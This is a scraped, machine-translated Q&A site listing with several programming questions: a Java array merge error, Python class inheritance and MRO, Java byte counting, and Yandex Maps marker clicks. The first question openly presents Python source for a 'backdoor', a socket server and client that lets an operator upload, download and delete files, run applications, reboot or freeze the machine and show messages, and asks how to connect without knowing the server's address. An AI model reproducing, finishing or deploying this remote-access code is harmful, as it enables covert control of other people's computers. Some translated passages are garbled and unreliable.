RError.com

RError.com Logo RError.com Logo

RError.com Navigation

  • 主页

Mobile menu

Close
  • 主页
  • 系统&网络
    • 热门问题
    • 最新问题
    • 标签
  • Ubuntu
    • 热门问题
    • 最新问题
    • 标签
  • 帮助
主页 / 问题

全部问题

Martin Hope
Даниил
Asked: 2024-10-19 07:25:58 +0000 UTC

如何在我的代码中建立网络连接

  • 5

我有一个后门(服务器)和一个来自控制权的客户端。我希望它能够在不需要知道服务器的 IP 和端口的情况下工作。

这是服务器代码:

import os
import socket
import json
import subprocess
import threading
import time
import ctypes
import shutil  # Для создания резервных копий

SERVER_IP = '0.0.0.0'  # IP сервера
SERVER_PORT = 5555


def reliable_send(data):
    json_data = json.dumps(data) + '\0'  # Завершение сообщения
    target_sock.sendall(json_data.encode())


def reliable_recv():
    data = ''
    while True:
        try:
            part = target_sock.recv(1024).decode()
            if not part:
                break
            data += part
            if data.endswith('\0'):  # Ожидание завершения сообщения
                return json.loads(data[:-1])
        except ValueError:
            continue


# Открытие приложения
def open_application(app_path):
    try:
        subprocess.Popen(app_path)
        reliable_send(f"Application opened: {app_path}")
    except Exception as e:
        reliable_send(f"Error opening application: {e}")


# Создание резервной копии
def backup(source, backup_path):
    try:
        if os.path.exists(source):
            if os.path.isdir(source):
                shutil.make_archive(backup_path, 'zip', source)
            else:
                shutil.copy2(source, backup_path)
            reliable_send(f"Backup created from {source} to {backup_path}")
        else:
            reliable_send("Source path does not exist.")
    except Exception as e:
        reliable_send(f"Error creating backup: {e}")


# Восстановление из резервной копии
def restore(backup_path, destination):
    try:
        if os.path.exists(backup_path):
            if backup_path.endswith('.zip'):
                shutil.unpack_archive(backup_path, destination)
            else:
                shutil.copy2(backup_path, destination)
            reliable_send(f"Restored from {backup_path} to {destination}")
        else:
            reliable_send("Backup path does not exist.")
    except Exception as e:
        reliable_send(f"Error restoring backup: {e}")


# Перезагрузка системы
def reboot_system():
    try:
        subprocess.run(["shutdown", "/r", "/t", "1"], check=True)  # Перезагрузка через 1 секунду
        reliable_send("System is rebooting...")
    except Exception as e:
        reliable_send(f"Error rebooting system: {e}")


# Зависание системы
def freeze_system(seconds):
    try:
        reliable_send(f"System will freeze for {seconds} seconds...")
        end_time = time.time() + seconds
        while time.time() < end_time:  # Зацикливание на указанное время
            pass
        reliable_send("System has unfrozen.")
    except Exception as e:
        reliable_send(f"Error freezing system: {e}")


# Вывод сообщения на экран
def show_message(message):
    try:
        ctypes.windll.user32.MessageBoxW(0, message, "Message", 1)  Windows API
        reliable_send("Message displayed.")
    except Exception as e:
        reliable_send(f"Error displaying message: {e}")


def show_image(image_path):
    try:
        ctypes.windll.user32.ShellExecuteW(0, "open", image_path, None, None, 1)  # Открытие изображения
        reliable_send("Image displayed.")
    except Exception as e:
        reliable_send(f"Error displaying image: {e}")


def upload_file(filename):
    try:
        with open(filename, 'wb') as file:
            target_sock.settimeout(1)
            chunk = target_sock.recv(1024)
            while chunk:
                file.write(chunk)
                try:
                    chunk = target_sock.recv(1024)
                except socket.timeout:
                    break
        target_sock.settimeout(None)
        reliable_send(f'Successfully uploaded {filename}')
    except Exception:
        reliable_send('Error uploading file.')


def download_file(filename):
    try:
        with open(filename, 'rb') as file:
            target_sock.sendall(file.read())
    except Exception:
        reliable_send('Error downloading file.')


def delete_file(filename):
    try:
        os.remove(filename)
        reliable_send(f'Successfully deleted {filename}')
    except Exception:
        reliable_send('Error deleting file.')


def handle_client(target_sock):
    while True:
        command = reliable_recv()

        if command == 'exit':
            break
        elif command[:8] == 'open ':
            app_path = command[5:]  
            open_application(app_path)
        elif command[:7] == 'backup ':
            parts = command[7:].split(' ', 1)
            source = parts[0]
            backup_path = parts[1]
            backup(source, backup_path)
        elif command[:7] == 'restore ':
            parts = command[7:].split(' ', 1)
            backup_path = parts[0]
            destination = parts[1]
            restore(backup_path, destination)
        elif command == 'reboot':
            reboot_system()
        elif command[:6] == 'freeze':
            seconds = int(command[7:])  
            freeze_system(seconds)
        elif command[:8] == 'showmsg':
            message = command[9:]   
            show_message(message)
        elif command[:8] == 'showimg':
            image_path = command[9:]  
            show_image(image_path)
        # Обработка остальных команд


# Код для инициализации сервера
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind((SERVER_IP, SERVER_PORT))
print('[+] Listening For Incoming Connections')
server_sock.listen(5)

while True:
    target_sock, target_ip = server_sock.accept()
    threading.Thread(target=handle_client, args=(target_sock,)).start()

这是客户端代码:

import socket
import json
import time

SERVER_IP = ' '  # IP сервера
SERVER_PORT = 5555
history = []


def reliable_send(data):
    json_data = json.dumps(data) + '\0'  # Завершение сообщения
    target_sock.sendall(json_data.encode())


def reliable_recv():
    data = ''
    while True:
        try:
            part = target_sock.recv(1024).decode()
            if not part:
                break
            data += part
            if data.endswith('\0'):  # Ожидание завершения сообщения
                return json.loads(data[:-1])
        except ValueError:
            continue


def connection():
    while True:
        try:
            target_sock.connect((SERVER_IP, SERVER_PORT))
            print("Connected to server.")
            break
        except Exception as e:
            print(f"Failed to connect, retrying...: {e}")
            time.sleep(5)


def shell():
    print("Available commands:")
    print("1. help - Show this help message")
    print("2. cd <directory> - Change current directory")
    print("3. clear - Clear the terminal")
    print("4. list - Show files in current directory")
    print("5. download <filename> - Download file from remote")
    print("6. upload <filename> - Upload file to remote")
    print("7. exec <command> - Execute command on remote")
    print("8. exit - Close connection")
    print("9. history - Show command history")
    print("10. delete <filename> - Delete file on remote")
    print("11. list_processes - List currently running processes")
    print("12. kill <process_id> - Terminate a process")
    print("13. copy <source> <destination> - Copy file on remote")
    print("14. move <source> <destination> - Move/Rename file on remote")
    print("15. mkdir <directory> - Create a new directory")
    print("16. fileinfo <filename> - Get file info (size, modification date)")
    print("17. createfile <filename> - Create a new empty text file")
    print("18. writefile <filename> <text> - Write text to a file")
    print("19. readfile <filename> - Read contents of a file")
    print("20. restart <process_name> - Restart a process")
    print("21. reboot - Reboot the remote computer")
    print("22. freeze <seconds> - Freeze the computer for specified seconds")
    print("23. showmsg <message> - Display a message on the screen")
    print("24. showimg <image_path> - Display an image file")
    print("25. open <app_path> - Open an application")
    print("26. backup <source> <backup_path> - Create a backup")
    print("27. restore <backup_path> <destination> - Restore from backup")
    print("28. killapp <app_name> - Kill all instances of the specified application")

    while True:
        command = input('* Shell~: ')
        if command:
            history.append(command)
            reliable_send(command)

            if command == 'exit':
                break
            elif command == 'history':
                for idx, cmd in enumerate(history):
                    print(f"{idx + 1}: {cmd}")
            elif command == 'help':
                shell()  # Повторный вывод списка команд
            else:
                try:
                    result = reliable_recv()
                    print(result)
                except Exception as e:
                    print(f"Error receiving data: {e}")


target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
shell()
python
  • 1 个回答
  • 26 Views
Martin Hope
dss
Asked: 2024-10-19 01:59:15 +0000 UTC

错误“索引 -1 超出长度 2 的范围”?

  • 2

请告诉我为什么编译器会给出错误:

“索引 -1 超出长度 2 的范围”

如何修复它?

这是代码:

public void merge(int[] nums1, int m, int[] nums2, int n) {
    if (m == 0) {
        System.out.println("Обратите внимание, что поскольку m = 0, в nums1 нет элементов. 0 присутствует только для того, чтобы результат слияния мог поместиться в nums1.");
    }
    ArrayList<Integer> w1 = new ArrayList<>();
    ArrayList<Integer> w2 = new ArrayList<>();
    if (nums2.length == 0) {
        System.out.println(Arrays.toString(new String[]{Arrays.toString(nums1)}));
    } else {
        for (int el : nums1) {
            w1.add(el);
        }
        int r = nums1.length;
    
        for (int i = m; w1.size() != m; i++) {
            w1.removeLast();
        }
    
        for (int el : nums2) {
            w2.add(el);
        }
        int z = nums1.length;
        for (int i = n; w2.size() != n; i--) {
            w2.remove(i - 1);
        }
        Collections.sort(w1);
        Collections.sort(w2);
        System.out.println(w1.toString());
        System.out.println(w2.toString());
    }
}
java
  • 1 个回答
  • 77 Views
Martin Hope
Т. Н
Asked: 2024-10-19 01:54:31 +0000 UTC

类继承:错误的结论

  • 7

我遇到了继承方法的结果输出不正确的问题。
任务:

创建一个存储实例属性名称的基类 Specialist,并具有方法 Drink_coffee(返回字符串“{name} 正在喝咖啡”)和 work(返回字符串“{name} 正在做工作”)。创建子类Coder,继承Specialist类的方法和属性,并重写work方法,使其返回类似“{name} writes code”的字符串。创建子类ProjectManager,继承Specialist类的方法和属性,并重写work方法,使其返回类似“{name}管理项目”的字符串。创建一个TeamLeader类,继承Coder和ProjectManager类的属性和方法,这样当调用work方法时,就返回字符串“{name}管理项目”。该标准将使用 MRO 工具进行测试

我的代码:

class Specialist:
    def __init__(self, name):
        self.name = name

    # Метод drink_coffee
    def drink_coffee(self):
        return f"{self.name} пьет кофе"

    # Базовый метод work
    def work(self):
        return f"{self.name} выполняет работу"


# Дочерний класс Coder, наследующий от Specialist
class Coder(Specialist):
    # Переопределяем метод work
    def work(self):
        return f"{self.name} пишет код"


# Дочерний класс ProjectManager, наследующий от Specialist
class ProjectManager(Specialist):
    # Переопределяем метод work
    def work(self):
        return f"{self.name} управляет проектом"


# Класс TeamLeader, наследующий от Coder и ProjectManager
class TeamLeader(Coder, ProjectManager):
    # Переопределять метод work не нужно, он будет взят по MRO из ProjectManager

    pass

需要进行的测试:

t = TeamLeader('瓦西里') print(t.work())

正确结论:
瓦西里管理该项目

我的错误结论:
瓦西里写的代码

python
  • 2 个回答
  • 58 Views
Martin Hope
Mik
Asked: 2024-10-18 23:06:22 +0000 UTC

如何计算我的字符串在 Java 中将占用字符集中的字节数?

  • 9

我如何在 Java 中计算我的 String 占用了多少字节,例如在 中US_ASCII? C# 有它Encoding.GetByteCount,这就是我需要的,也就是说,我需要在 UI 中快速验证字节长度,并且我不想创建字节数组,但我想在不分配内存的情况下进行计数

java
  • 1 个回答
  • 88 Views
Martin Hope
aliver
Asked: 2024-10-18 22:41:18 +0000 UTC

单击使用聚类的 Yandex Map v3 标记时如何运行函数?

  • 5

请告诉我。情况:有一张带点的地图。有一个 showInfo 函数,可以移动地图的“视线”、更改缩放以及信息块中活动点的信息。

我希望当点击某个点时触发这个函数。我无法想象该函数该放在哪里,因为我不理解(并且不再想理解)Yandex 地图 api 是如何工作的。

我只对善良的人抱有希望,因为我太累了,我的大脑已经停止运转了

initMap();

ymaps3.readyasync function initMap() { //当主 API 模块的所有组件加载完毕后,promise将被解析 wait ymaps3.ready;

const {YMap, YMapDefaultSchemeLayer, YMapDefaultFeaturesLayer, YMapMarker, YMapControls, YMapLayer, YMapFeatureDataSource} = ymaps3;

const {YMapZoomControl} = await ymaps3.import('@yandex/[email protected]');

// Добавляем кластеризатор
const {YMapClusterer, clusterByGrid} = await ymaps3.import('@yandex/[email protected]');

// Иницилизируем карту
const map = new YMap(
    // Передаём ссылку на HTMLElement контейнера
    document.getElementById('map'),

    // Передаём параметры инициализации карты
    {
        location: {
            // Координаты центра карты
            center: [37.588144, 55.733842],

            // Уровень масштабирования
            zoom: 10
        }
    }
);

// Добавляем слой для отображения схематической карты
map.addChild(new YMapDefaultSchemeLayer({ customization: mapCustomizationJSON }));

// Добавляем к карте ресурс
map.addChild(new YMapFeatureDataSource({id:'my-source'}));
// Добавляем ресурс на карту
map.addChild(new YMapLayer({source: 'my-source', type: 'markers', zIndex:1800}));

// Пин
const contentPin = document.createElement('div');
contentPin.innerHTML = '<img style="width:20px;" src="https://www.freepnglogos.com/uploads/pin-png/pin-transparent-png-pictures-icons-and-png-backgrounds-36.png" />';

// Функция создания маркера (или че это)
function marker(feature) {
    const yMapMarker = new ymaps3.YMapMarker(
        {
            coordinates: feature.geometry.coordinates,
            source: 'my-source'
        },
        contentPin.cloneNode(true)
    );

    // yMapMarker.events.add('click', () => {
    //     showInfo(feature);
    // });

    return yMapMarker;
}

const cluster = (coordinates, features) =>
new ymaps3.YMapMarker(
    {
        coordinates,
        source: 'my-source'
    },
    circle(features.length).cloneNode(true)
);

function circle(count) {
    const circle = document.createElement('div');
    circle.classList.add('circle');
    circle.innerHTML = `
    <div class="circle-content"><span class="circle-text">${count}</span></div>`;
    return circle;
}

const points = pointsData.map((point, i) => ({
    type: 'Feature',
    id: i,
    geometry: {coordinates: [point.acf_fields.coordinates.y, point.acf_fields.coordinates.x]},
    properties: {
        name: point.acf_fields.point_name,
        // другие свойства
    }
}))

const clusterer = new YMapClusterer({
    method: clusterByGrid({gridSize: 64}),
    features: points,
    marker,
    cluster
});

map.addChild(clusterer);

//   Пытаюсь добавить кнопку Зума
map.addChild(
    // Using YMapControls you can change the position of the control
    new YMapControls({position: 'right'})
    // Add the zoom control to the map
    .addChild(new YMapZoomControl({}))
);

map.addChild(new YMapDefaultFeaturesLayer());

// Функция отображения информации
function showInfo(feature) {
    const infoElement = document.getElementById('point-info-container');
    
    // Вставляем в элемент inf-block данные, которые мы получим из переменной point
    document.getElementById('point-info__name').innerText = 'Info';
    document.getElementById('point-info__address').innerText = 'text';
    infoElement.style.display = 'block';

    map.update({
        location: {
            center: feature.geometry.coordinates,
            zoom: 14,
            duration: 1000,
        }
    });
    
}

Ps 据我了解,这可以通过标记(功能)来完成。我试着这样做

function marker(feature) {
        const yMapMarker = new ymaps3.YMapMarker(
            {
                coordinates: feature.geometry.coordinates,
                source: 'my-source'
            },
            contentPin.cloneNode(true)
        );

        yMapMarker.events.add('click', () => {
            showInfo(feature);
        });

        return yMapMarker;
    }

但我得到了一个错误。

test:55 Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'add')
    at Object.marker (test:55:27)
    at c._getEntity (clusterer.js:1:1093)
    at clusterer.js:1:1228
    at Array.forEach (<anonymous>)
    at c._getVisibleEntities (clusterer.js:1:1202)
    at c._render (clusterer.js:1:1916)
    at c._onAttach (clusterer.js:1:2319)
    at c.AEC__implAttach (main.js:1:58810)
    at c.C57__implAttachTo (main.js:1:58391)
    at d._addDirectChild (main.js:1:61583)
yandex-maps-api
  • 1 个回答
  • 60 Views
上一页
下一页

Sidebar

Stats

  • 问题 10021
  • Answers 30001
  • 最佳答案 8000
  • 用户 6900
  • 常问
  • 回答
  • Marko Smith

    我看不懂措辞

    • 1 个回答
  • Marko Smith

    请求的模块“del”不提供名为“default”的导出

    • 3 个回答
  • Marko Smith

    "!+tab" 在 HTML 的 vs 代码中不起作用

    • 5 个回答
  • Marko Smith

    我正在尝试解决“猜词”的问题。Python

    • 2 个回答
  • Marko Smith

    可以使用哪些命令将当前指针移动到指定的提交而不更改工作目录中的文件?

    • 1 个回答
  • Marko Smith

    Python解析野莓

    • 1 个回答
  • Marko Smith

    问题:“警告:检查最新版本的 pip 时出错。”

    • 2 个回答
  • Marko Smith

    帮助编写一个用值填充变量的循环。解决这个问题

    • 2 个回答
  • Marko Smith

    尽管依赖数组为空,但在渲染上调用了 2 次 useEffect

    • 2 个回答
  • Marko Smith

    数据不通过 Telegram.WebApp.sendData 发送

    • 1 个回答
  • Martin Hope
    Alexandr_TT 2020年新年大赛! 2020-12-20 18:20:21 +0000 UTC
  • Martin Hope
    Alexandr_TT 圣诞树动画 2020-12-23 00:38:08 +0000 UTC
  • Martin Hope
    Air 究竟是什么标识了网站访问者? 2020-11-03 15:49:20 +0000 UTC
  • Martin Hope
    Qwertiy 号码显示 9223372036854775807 2020-07-11 18:16:49 +0000 UTC
  • Martin Hope
    user216109 如何为黑客设下陷阱,或充分击退攻击? 2020-05-10 02:22:52 +0000 UTC
  • Martin Hope
    Qwertiy 并变成3个无穷大 2020-11-06 07:15:57 +0000 UTC
  • Martin Hope
    koks_rs 什么是样板代码? 2020-10-27 15:43:19 +0000 UTC
  • Martin Hope
    Sirop4ik 向 git 提交发布的正确方法是什么? 2020-10-05 00:02:00 +0000 UTC
  • Martin Hope
    faoxis 为什么在这么多示例中函数都称为 foo? 2020-08-15 04:42:49 +0000 UTC
  • Martin Hope
    Pavel Mayorov 如何从事件或回调函数中返回值?或者至少等他们完成。 2020-08-11 16:49:28 +0000 UTC

热门标签

javascript python java php c# c++ html android jquery mysql

Explore

  • 主页
  • 问题
    • 热门问题
    • 最新问题
  • 标签
  • 帮助

Footer

RError.com

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

帮助

© 2023 RError.com All Rights Reserve   沪ICP备12040472号-5